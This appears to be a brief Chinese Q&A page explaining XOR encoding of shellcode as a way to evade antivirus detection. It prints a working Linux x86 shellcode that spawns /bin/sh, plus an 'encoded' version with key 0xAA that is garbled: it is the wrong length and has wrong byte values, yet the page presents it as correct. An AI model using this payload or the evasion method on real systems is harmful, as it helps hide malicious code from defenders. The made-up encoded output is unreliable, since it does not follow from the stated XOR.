shellcode异或编码
时间: 2023-07-10 13:43:38 浏览: 96
shellCode
Shellcode异或编码是一种常见的加密技术,可以用于防止被杀毒软件或其他安全工具检测到恶意代码。基本思路是将Shellcode中的每个字节与一个密钥进行异或运算,然后在运行时再将密钥与加密后的Shellcode进行异或解密。
例如,假设我们有一个Shellcode:
```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
```
我们可以使用一个密钥,比如0xAA,对Shellcode进行异或编码:
```
\x9b\x9a\xfb\xfb\x9c\xfb\x9e\x9d\x9e\xfb\x9a\xfb\x9a\x9d\xfb\x9d\x9c\xfb\x9b\xfb\x9c\x9d\xfb\x9e\x9a\xfb\x9c\x9a\x9d\xfb\x9b\x9c\xfb\x9a\xfb\x9d\x9a\xfb\x9a\x9e\xfb\x9c\x9d\xfb\x9e\xfb\x9b
```
在运行时,我们再使用0xAA对加密后的Shellcode进行异或解密,就可以得到原始的Shellcode,即:
```
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
```
阅读全文